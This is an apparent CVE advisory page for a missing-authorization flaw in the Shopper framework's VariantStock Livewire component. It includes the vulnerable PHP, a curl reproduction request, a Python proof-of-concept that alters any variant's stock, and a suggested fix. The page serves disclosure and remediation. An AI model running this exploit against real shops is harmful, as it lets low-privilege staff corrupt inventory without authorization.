Loading...
Skip to main content

CVE-2026-56829 — Vulnerability in shopper/framework — CVE Details

HIGH

Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Published September 11, 2026Updated September 11, 2026Source: osv

Summary

## Title Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component ## Description A lack of authorization control was discovered in the `stockAction()` method in `packages/admin/src/Livewire/Components/Products/VariantStock.php`. The component exposes a `public $variant` property without the `#[Locked]` attribute, so the variant ID is client-mutable via the Livewire wire payload. The `stockAction()` returns an Action with no `->authorize(...)` chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database. ## Severity CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High) ## Affected files - `packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91` ```php // Line 34 - unprotected, client-mutable variant binding public $variant; // Lines 36-91 - no ->authorize(...) on the Action public function stockAction(): Action { return Action::make('stock') ->label(__('shopper::forms.actions.update')) ->color('gray') ->icon(Untitledui::Package) ->modalHeading(__('shopper::pages/products.modals.variants.title')) ->modalWidth(Width::Large) ->schema([ Select::make('inventory') ->label(__('shopper::pages/products.inventory_name')) ->options(Inventory::query()->pluck('name', 'id')) ->native(false) ->required(), TextInput::make('quantity') ->label(__('shopper::forms.label.quantity')) ->placeholder('-10 or -5 or 50, etc') ->numeric() ->required(), ]) ->action(function (array $data): void { // ...calls $this->variant->mutateStock(...) or decreaseStock(...) // with no permission check anywhere in this path }); } ``` ## Steps to reproduce Prerequisites: an admin-panel account with any role (including a role that holds only `browse_products` or `browse_orders`). No `edit_product_variants` permission is required. ```bash # Step 1: Log in and obtain a session cookie and Livewire CSRF token. # Obtain them from a normal browser login, then use them below. SESSION="laravel_session=<your_session_value>" XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>" # Step 2: Load the product variant page for any variant ID (e.g., 1). # Capture the Livewire snapshot from the page source. # Step 3: Call the stock action on an arbitrary variant. # The wire payload sets "component.variant" to any variant ID in the database. curl -s -X POST http://localhost/shopper/livewire/update \ -H "Content-Type: application/json" \ -H "$XSRF" \ -H "Cookie: $SESSION" \ -d '{ "components": [{ "snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}", "updates": {}, "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}] }] }' # Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions. ``` ## Proof of concept ```python #!/usr/bin/env python3 """ VariantStock authorization bypass PoC. Set these environment variables before running: BASE_URL e.g. http://localhost SESSION_COOKIE value of the laravel_session cookie XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie COMPONENT_ID Livewire component snapshot ID (from page source) VARIANT_ID integer ID of any target variant INVENTORY_ID integer ID of the target inventory location QUANTITY integer quantity adjustment (positive or negative) """ import json import os import requests base_url = os.environ['BASE_URL'] session = os.environ['SESSION_COOKIE'] xsrf = os.environ['XSRF_TOKEN'] component_id = os.environ['COMPONENT_ID'] variant_id = int(os.environ['VARIANT_ID']) inventory_id = int(os.environ['INVENTORY_ID']) quantity = int(os.environ['QUANTITY']) headers = { 'Content-Type': 'application/json', 'Accept': 'text/html, application/xhtml+xml', 'X-XSRF-TOKEN': xsrf, 'Cookie': f'laravel_session={session}', 'X-Livewire': '1', } snapshot = json.dumps({ 'id': component_id, 'data': {'variant': variant_id}, 'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED', }) payload = { 'components': [{ 'snapshot': snapshot, 'updates': {}, 'calls': [{ 'path': '', 'method': 'callAction', 'params': ['stock', { 'inventory': inventory_id, 'quantity': quantity, }] }] }] } r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload) print(f'Status: {r.status_code}') print(r.text[:500]) ``` ## Impact Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only `browse_products` can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because `$variant` is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID. ## Suggested fix ```php // packages/admin/src/Livewire/Components/Products/VariantStock.php use Livewire\Attributes\Locked; #[Locked] // prevent client-side ID substitution public $variant; public function stockAction(): Action { return Action::make('stock') ->authorize('edit_product_variants') // add this // ... rest of the action ``` ## Credits Reported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).

Advisory Timeline

  • First published September 11, 2026 (30 days ago).
  • Last revised September 11, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update shopper/framework to 2.9.2 or later
composer require "shopper/framework:^2.9.2"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
shopper/framework
packagist
v2.0.0, v2.0.0-alpha, v2.0.0-beta, v2.0.0-beta10 (+59 more)2.9.2

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-862
    Missing AuthorizationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Frequently Asked Questions

What is CVE-2026-56829?
Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.1/10).
How do I check if my project is affected by CVE-2026-56829?
CVE-2026-56829 affects shopper/framework. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-56829 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.1

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-g3f9-g5vj-p62f

Related CVEs

  • CVE-2026-47744
    CRITICAL

    Shopper: Authorization bypass and RBAC privilege escalation in team settings

  • CVE-2026-56827
    HIGH

    Shopper: Authorization bypass in Filament bulk actions allows browse-only staff to mass-delete attributes/tags and mass-toggle visibility of brands/categories/suppliers

  • CVE-2026-56825
    HIGH

    Shopper: Missing authorization on product removal actions in CollectionProducts component

  • CVE-2026-47743
    HIGH

    Shopper: Multiple data integrity and disclosure issues in admin Livewire components

  • CVE-2026-56828
    HIGH

    Shopper: privilege escalation via improper Livewire admin component authorization

  • CVE-2026-65954
    HIGH

    PHPCSUtils: Remote code execution via eval() in AbstractArrayDeclarationSniff::getActualArrayKey()

  • CVE-2026-61825
    HIGH

    code16/sharp has a stored XSS via data-html-content Sanitizer Bypass

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies